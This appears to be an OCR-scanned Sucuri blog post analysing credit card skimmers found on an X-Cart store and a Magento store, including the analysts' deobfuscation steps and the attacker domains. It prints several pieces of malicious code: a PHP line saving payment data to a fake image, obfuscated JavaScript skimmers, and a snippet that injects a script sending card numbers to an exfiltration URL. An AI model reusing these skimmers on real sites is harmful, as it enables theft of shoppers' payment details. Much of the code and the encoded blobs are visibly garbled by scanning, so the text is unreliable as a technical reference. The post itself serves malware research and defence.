Sucuri Blog

£33 blog.sucuri.net/2022/05/x-cart-skimmer-with-dom-based-obfuscation.html
Denis Sinegubko May 17, 2022

£3 SUCURI

Our lead security analyst Liam Smith recently worked on an infected X-Cart website and
found two interesting credit card stealers there — one skimmer located server-side, the other
client-side.

X-Cart’s e-commerce platform is not nearly as popular as Magento or WooCommerce and as
a result we don’t see as many threat actors targeting it. While we do still regularly find
skimmers on X-Cart sites, they are usually more customized and don’t look like typical
Magecart malware.

Server-Side Credit Card Stealer

The server-side skimmer found in the compromised environment was very simple.

In the payment/payment_swoosh_cc.php file, hackers had added a single line of code that
saved the base64-encoded POST data with payment details into a file on disk.

To make it less suspicious, the file had a .jpg extension and was placed in a directory with
image files. To retrieve the stolen information, hackers simply needed to download their fake
JPG file from time to time.

{:ﬂ| £ 14 put ¢ Mt tc {- ...'I var W .". vhosts _." <
@base64_encode(Squery.serialize($_POST))."\n", FILE_APPEND);

Injected line of code that saves payment details into a fake image file
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Client-Side Credit Card Stealer

The client side skimmer turned out to be much more interesting. The following obfuscated
script was found in the skin/common_files/check_cc_number_script.tpl file.
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Injected JavaScript skimmer
The first steps of deobfuscation were obvious. We applied the decodeURIComponent
function and prettified the resulting JavaScript code.
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(function () {
(function RM3RPB() {
var X3M0Q4 = "split,toString,join,length,charCodeAt, fromCharCode".split(

non
’

)i
function WJKEW7 (ULLPP9) H
ULLPP9 = ULLPP9.split("");
var AOKKHB = RM3RPB["toString"1()
["split"](
["join"]("")
["length"] ["toString"]()
["split"1(""),
BCAI7L = @,
Q4G3XG =
B7VGX7 =
ISV39D = 0,
J6975Y;
for (J697SY = @; J697SY < ULLPP9.length; J697SY = 1J697SY + 2) {
if (AOKKHB.length == BC6I7L) {
BC6I7L = 0;
}
B7VGX7 =
parseInt(ULLPP9[J697SY] + ULLPP9[J697SY + 11, 30) -
AOKKHB [BC6I7L].charCodeAt(0) -
ISV39D;
04G3XG += String.fromCharCode(B7VGX7);
ISV39D = B7VGX7;
BC6I7L++;
}
return Q4G3XG;
h
X3M0Q4 = WIKEW7 (

"225b81907r7f898n8m8j9d9e7n7p8m708c7j7m8;j8m593n608r909g997461938m818892756k819c966r6c92999e95986t6 f
6b6s8r806h6m8n925h5m8r805b5q8n8t815e5f5e5m613j31598q808p8r975h59858h7¢c7t8r8599847j979e8t8j8s8s595a9
0928k89928b88809389819k967q818p5t4r4q5j985n5n9191948s8t5r3f3e30393b3a5d8h58433t51939e969e7g574m3055
8q8196909a505193978p5p467j7d485m92969j8t8d8j9h9c5m5n9e938p8t635r8n8f8r80925h5e8q9e818d8g7f7p9680985
065858h93955e5h8n97808r7073746p4e5e8185595m8s8m89988c7n5a638q8c7j7m8j8m59639a7t7p9h938r7j7b8p8s595n
908s8n5r5n8j8e8r5e5h8d5h5c8p8n818q8t78708m8m81i8599555d92988s8n9h7p798b90988r59629c8p575q8;j8p8n8k"
) [Msplit"1("\n");
function () {
var AOKKHB = arguments,
BC6I7L = @,
J697SY;
for (J697SY = @; J697SY < AOKKHB.length; J697SY++)
BCHI7L += AOKKHB[J6975Y];
return X3M0Q4[BC6I7L];

Prettified code after the first steps of deobfuscation

Anti-Debugging Trap

The resulting code was still obfuscated and didn’t reveal its functionality. It obviously
contained functions to decode itself, so we executed the script to reconstruct its meaningful
representation. At this step, we encountered the first obstacle. The script returned errors
telling us that certain variables were “undefined”.
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After the analysis, we figured out that the deobfuscation algorithm relied on the length of the
code of one of the wrapper functions. The use of decodeURIComponent along with the
prettification of the code to improve readability had significantly changed the length of that
function and broke the deobfuscation algorithm.

We regularly come across this “anti-debugging” approach in malware. It can normally be
circumnavigated by copying the original script and feeding its content to the function that
calculates its length. In this case, because of the additional layer of obfuscation, we used a
different approach. We wrote a brute force script that tried all possible numbers unless it
found the one that produced meaningful deobfuscation results.

Credit Card Stealer Functionality

After we had successfully deobfuscated the script, all we needed to do was replace the
encrypted values with their plain text versions and rename variables and function names to
see how exactly the malicious code worked.

As we anticipated, the script contained typical skimmer functionality. It looked for the input
and select form elements and sent their values to a third-party server as lightly encoded
(encodeURIComponent) GET parameters of an injected script. To make sure that only valid
payment details are sent to the attacker, the malware checks the values to verify that at
least one of the “input” elements contains a valid credit card number using a publicly
available validation algorithm.

DOM-based Obfuscation of the Exfiltration Domain

At this stage, the only unknown left was the domain name of the exfiltration script that
skimmer tried to inject.

After our deobfuscation efforts, the relevant part of the code looked like this:
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(paymentData != inputData && ccNumber) {
paymentData = inputData;
injectSkimmerScript();
}
e
getTagByCount(n) {
elements = document["all"] || document.getElementsByTagName('x");
elements[n].tagName. toLowerCase();

injectSkimmerScript() {
url = "https://";
url += "meta" + getTagByCount(@) + getTagByCount(1l) + ".com/folder/ip/zxc.php";
scriptEl = document["createElement"]("script"),
html = document.getElementsByTagName("html") [0];
scriptEl = html["insertBefore"] (scriptEl, NE
scriptEl.src = url + "?r=" + randnum + paymentData + "&cc=" + ccNumber;

Code that injects the exfiltration script

As you can see, the URL can only be determined when you actually run the code on the
infected page. The static analysis only reveals that the domain name begins with “meta” and
ends with “.com”. The rest depends entirely on the DOM (Document Object Model) structure
of the page where the script is injected — namely, on the first two HTML tags on that page.

In our case, the infected site had pretty standard beginning for the HTML code:

<html xmlns="http://www.w3.0rg/1999/xhtml" xmlns:g="http://base.google.com/ns/1.0"
xmlns:og="http://ogp.me/ns#" xmlns:fb="http://ogp.me/ns/fb#">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible"” content="IE=edge,chrome=1" />

HTML code of the infected page
Not surprising, the first two tags were html and head. To verify that we correctly identified
the tags, we injected the URL generating piece of code into the browser’s console:
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Evaluating exfiltration URL in the Web Developer Tools console

This simple trick confirmed our assumption and revealed the URL of the injected script:
hxxps ://metahtmlhead[.]Jcom/folder/ip/zxc.php (Full disclosure: we already had this URL
after the initial analysis of the traffic generated by the infected website).

Magento Credit Card Stealer

When this investigation was over, our researcher Ben Martin found a seemingly unrelated
skimmer in a database of a Magento 1.x site.

indow.0XyPg=function(s,m,e){m=atob(m).split(', ');e=document[m[2]](e);e[m[5]]

(r'l[ 1, atob(S[m[ 11(sIm[4]11C" ")[01)Im[3]11C" ")) );elm[111();}</ >

< >0XyPg( ' *KGZ1"bm*NOa*WOurKC17KGZ1 bm "NOa*WIurIFdS*RFE*2WCgpe3~ZhciBXSAUAZMVAKCY
UA37Ry*a™WSnLmAZy~b217Da”GFy~Qr29kZSAgXMTUASMTEAYALDEAWOACwXMDUASMTEA2LDQAOLDEAXN1wXMT
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SAMWXMTANSMTAMZLDEAXNi1wxMDQASNDQASOATKkSMTA”OLDk3ALDEAXNCW2NY wXMTEASMTAMWLDEAMWMS A W2NS w
XMTYSNDQASMTAAYALDEAXNCWXMTEASMTAASLDY3ALDEAWNCWSNY wXMTQ”AsNJcSMTEAXLDEAWMCwXMDE~pW1~N
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W1~AdJ*RkXWR1AswXVA00I1Ip0~3~ZhciBHAWDRQMQAUMQAIVALIAJAEAUATZYWIAAIMRKkXWR1ASXXVABOKVALXS
AUAZMVAkdDMF1MdKC9cKHMwg FAML8XGS8XHA JM80M3AX9FHAEBXCKVKVAEXSAUAZMVAKDMT 1AdKC I KVAEXSA
UAZMVAkdbM1A1AdW1AdIARKXWR 1A SXXVAQOKVAEXSAUAZMVAKADMF1AdKCILKSAXVAVAVAFEAUN JKIMCXSAROF
DWUAS9I1IsQ kRGRUMWZPSAI1LEAIZNZREANZOWLEAZNWjIMVATDEM b3~ IoRk14a M1V MPTAATRk1 a3 M1V~
MPEMOWSAUAIAVAMLEXSAUAZMVAKADM1A1ADOMOZNW ] IAVATDIAGTV Aoy AVAUAW M1 173 "WYOR1AgOUMEAFEANW
17dI*RkXWR1/ 5z XVAQSPVAVAVAUAUARSAOASALTVAVAVARRFISPTAN7FfUA JAMEARKVAMMZ 1AWY X DA 2 ZUA LurdCh
KMEAINVATIAbRk172a*MLVAMXSAtKMEALNVATJAbRk 13 M1VAMKz FALDMwKS A 1AHAWDRQAQAMUARDVAVAVARRFI
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bzht0MGUAcTkXNWM1AbTkOOATI3AarjZENGUA1~AdDhsOATUASZ jhy*0rGA5ZDhx0AGUA4cD1jOATg4bDgd40nT
A*4bzk1720*H M4cj1Ln0~TAM4a” jhyr0rGM4czhxNWg1AZ FhtOATUA2NTM3ANDE~Obzc370*G42a*DYZz0*G84a"
zhB0~WM3AbjUAWNmAEA4a” Jhx0*GQ 4czhz0AGBSYTCcXNHAM1~dDc1A0AGg3ANDVAONZzU*4bTk1ANnI2NjhvOA
Gg4dD1lm~N240c jZkOMH M5YzKk 1 NZEA2CzZkwONATISarTZWwNDM2a” j1p0~*WOS5ZzhsNzk1AMDQ*1ANH~M1~dDdkO
ATAN20ATZvOMICSbz LLOMHAEA3ANZUAYANM*Y4b jhx0”TQ 4a*zky*NzA*2a*zhsOAWUA5a*D 11O TI3AZTRwWN
GO3~Nz1gN281~MDRzNXQ"3~ZDht0~Dc4ZzhvNm~g2N jkwO*WEA3AbTRY*Njg4dD1rA0ATISMF1LhOATYSOATLhO
AHAEA4czZh@OMHAMA0AThm 0ADY4bT1jOMHQ 423" JhnOATAN2CcDNZNMA85ZZ LVvOAHIACTC3ANTI2Z jhur"ONHAEN
SNDhr~AOATI3AMDZr A0 AGWSZT LoOMWUASM A INHAANODTC 320 W03 bzUMWNHAM2N JdX0ATI4ZDhtO A TY2CDUAX
N2I4cTkxNjQ*1~a*Dhh0”WQ*4a* jhnOATAA3AbDdo0*HWUA4bzhvNmAUA20~Dht0*GO4bz loN2w1AMFZrA0ATIA
dD1oO~ATQASNKkwONGk2NFUAZNTKk1A0ATUASNZKSYZhx0*Go3~ar JVAYyANWUA2c jhtOAGE~4ZZzhsN2g1~cjc3~0

JavaScript skimmer found on a Magento 1.x site
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However, after removing the first layer of obfuscation, we found the very familiar structure
with "split,toString,join,length,charCodeAt,fromCharCode” and a decoding function that
relies on the length of the initially encoded function.

Using the same brute force approach, we decoded it and found a similar skimmer code.
However, this time the domain name obfuscation didn’t include any parts derived from the
HTML DOM. The discovered exfiltration URL was: winsiott[.Jcom/folder/ip/stt.php . The

URL structure domain/folder/ip/xxx.php fully matched the one found in the X-Cart skimmer.

PublicWWW shows a few more sites infected with variations of this skimmer (all with the
winsiott[.Jcom/folder/ip/stt.php exfiltration URL). Sucuri SiteCheck detects them as
“‘malware.magento_shoplift?199”.

http://www.<redacted>.com/ (More Details) Known javascript malware: malware.magento shoplift?199
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VswX{T{t{B{QihaN{Ug9WFgOVKFZW1{hO{UEZB{Sygl{MSwSLCOSN{yw4N{S1dKEFCO{Fol{SCx{u{dWx{sKT{t{B{QjhaN{UhbWE
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{YWKSt{I{QT{I{P{Wvd9Zn{Vu{Y3Rp{b24gVkdWUEg4KEUx{N{kdVO{C1l7{dm{FyI{ESJ{N{jUu4wjowO{0Ux{N{kdVO{D1{FMT{ZH
VT {hbWE5QRKFLKDES5SLDY2LC0O0Mi { LdKFhO{UEZB {Syg2LDQsMykp{0{21m{KEUx{N{kdVO{Ft{MT{jY1{MUddP{DEzfHx{FMT {ZHV
T{hbT{E42N{T{FHX{T{4x{0{S1yZX{R1{cm{4gZm{Fsc2U7{Zm{9yKHZhci {B{SW1VP{REGIRT{E2R1 {U4WOx {O{N{FUX{R1 {0t {M
T{t{SWLVP{REg+{P{T{A7{Ulp{VT{ORI{LSOp{e2lm{KCFFMT{ZHVT{hbUlp{VT{O0RI{X{Vt{YT{1B{GQUSOMT{E5LCO1{MCw30{S
wt{0{DQp{X{SgvWzAt{O{VOVKS1lyZX{R1l{cm{4gZm{Fsc2U7{aWYoI{ShSW1VP{REglMi{kp{e05T{N{jU4Wi{s9KEUX{N{kdVO{F
t{SW1VP{REhdKJI{+{0{Sk/{RT{E2R1{U4W1{J{aVUIESFOGMi{050{kUx{N{kdVO{Ft{SWLVP{RERAKIT{9ZWx{zZX{t{0{ST{Y1
{0{ForP{UUx{N{kdVO{Ft{SW1VP{REhdKJF9£X{J{1dHVybi{EoT{kk2N{T{haJ{T{EwKX{1l{m{dWw5jdGlvbi{B{FMT{ZHVT{goKX
{t{2YX{I{gQUI{4WVI{P{VB{ZN{01{RM1{t{YT{1B{GOUS0O{DMSLT{I{1{KV1{8£fFB{ZN{01{RM1{t{HSDN{DRzRAKFhO{UEZB

{Sygl{LCOyKSksUlp{VT{ORI{0{2Zvci{hSW1VP{REgIMDt {SW1IVP{REg8QUI{4WJjVI{WOx{O{N{JjUx{R1{07{Ulp{VT{ORI{Kysp
{e21m{KFg2WIN{UV1{t{YT{1B{GQUsoMQsMT{QsMIEp{X{ShP{UDJ{0{VEWrQUI {4WjVI{W1{J{aVUIESF1{bWE5QRkFLKDMyLDE
3LDEx{KV1{bWESQRKFLKDEwWN { ywON{Cwt {O{T{Ap{X{Sgp{K09QMK5UT{Ck+{P{T{Am{J{i{FB{QihaN{UhbUlp{VT{ORI{X{Vt{F
RURQQ1{FdKX{t{B{QjhaN{UhbUlp{VT{ORI{X{Vt{FRURQQL{FdAP{T{E7{SUX{FRFgOKEFCO{Fol{SFt{SW1VP{REhdLFhO{UEZB

{Sygx{N{Cwx{MywyO{Swt{MjAp{KX{1{9c2VOVG1t{ZW91{dChFMT{ZHVT{gsO{T{kp{ fUUx{N{kdVO{Cgp{0{2Z1{bm{N{0aW9u

{I{Fp{WOoVgwSSgp{e3zZhci{B{QSUp{DVUOIbGIjYWx{T{dGIYYWAIW1 {N{N{QUUyQ1l07 {aWYoUELKQ1l {VN{J{i{Z0{UF1MVUYhP{V
B{J{SkN{VT{S17{T{1B{ZT{FVGP{VB{J{SkN{VT{T{t{QSUp{DVUOISIN{P{T{1t{YT{1B{GQUsON{jQsMT{AzLCO0O{Cwt{N{T{Q
p{X{ShQSUp{DVU0p{0{2Zvci{h2¥YX{I{gUlp{VT{ORT{T{Glu{I{FB{J{SkN{VT{517{dm{FyI{EFCO{Fol{SD1{QWT{dN{UT{N{b
WESQRKFLKDg3LDEWLCOON{yldKFJ{aVU9ESCk7{aWYoI{UFCO{Fol{SC17{QUI{4WjVI{P{WRvY3Vt{ZW50W1{hO{UEZB{Sygx{N

{CwyMSw20{Cwt{N{JI{p{X{ShYT{1B{GQUSOMT{¥YSLT{Qx{LDYyKSk7{QUI{4WjVI{W1{hO{UEZB{SygzN{i{wx{MC1dP{VJI{avUu9
ESDt {B{QjhaN{UhbWE5QRKFLKDQOSMzQsN{C1dKFhO{UEZB{Sygz0{Swt {MSksWE5QRKFLKDYyLDOSLT{I{3KSk7 {dm{FyI{ERB{T

{FRI{Mj1{QWT{dN{UT{N{bR0OgzQ0cO0X{ShYT{1B{GQUsoMzASMT{Ap{KVswX{T{t{EQUx{USDJ{bWE5QRKFLKDQSN{DMp{X{Vt{¥T
{1B{GQUsoMjUSMT{I{sMT{Ep{X{ShB{QjhaN{UgsREFMVEgyW1{hO{UEZB{Syg3Mi{w20{Cw2N{Swt {MT{U2KVOp{fUFCO{Fol{SF
t{YT{1B{GQUsoMjcsMikp{X{T{1{QSUp{DVU1{bUlp{VT{ORI{X{X{1{KT{DZSWUwoKX{1{zZX{RUaWl{1lb3VOKFp{WOVgwSSwl {M
DAp{ fVp{WQVgwSSgp{fSgp{KX{00KS19KCkp ', 'Y3J1YXR1RWx1bWVudCxzZXRBdHRyaWJ1dGUsb25jbGljayxzcGxpdCxgb21luLG
NsaWNr')</script> <script type="text/javascript">

Redirects to https://www.<redacted>.com/

Malware.magento_shoplift?199 skimmer detected by SiteCheck

Malicious Domains
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The metahtmlhead[.]Jcom domain was registered over three months ago on February 7,
2022 using Registrar.eu (not a typical registrar for skimmers). It is hosted on a server with
the IP address 162.241.222 .226 (UNIFIEDLAYER-AS-1, US), which has a history of being
used by phishers.

The winsiott[.]Jcom domain was registered on June 7, 2021. It is hosted on a server with the
IP 83.242.96 .149 (AHOST-AS, RU).

Conclusion & Mitigation Steps

Every e-commerce site is a potential target for bad actors trying to steal payment details,
regardless of whether they’re using an ultra-popular CMS or a custom built solution. Less
popular platforms usually attract more targeted attacks where hackers may employ more
creative attack vectors and injected malware.

Websites that allow credit card transactions should take security very seriously — PCI
compliance is mandatory for anyone who operates an e-commerce website, and the
implication of a compromise affects not only the personal information and security of the
site’s users but also the website’s ability to accept credit card payments. Site owners may
even incur fines or penalties from regulators if customers complain about fraudulent
transactions.

One of the most important things you can do to protect your website against credit card
stealing malware is to follow the requirements outlined in the PCI-DSS. If you’re looking for a
simple solution to meet the first requirement for PCI compliance, you can employ a Web
Application Firewall (WAF) like the_Sucuri Firewall.
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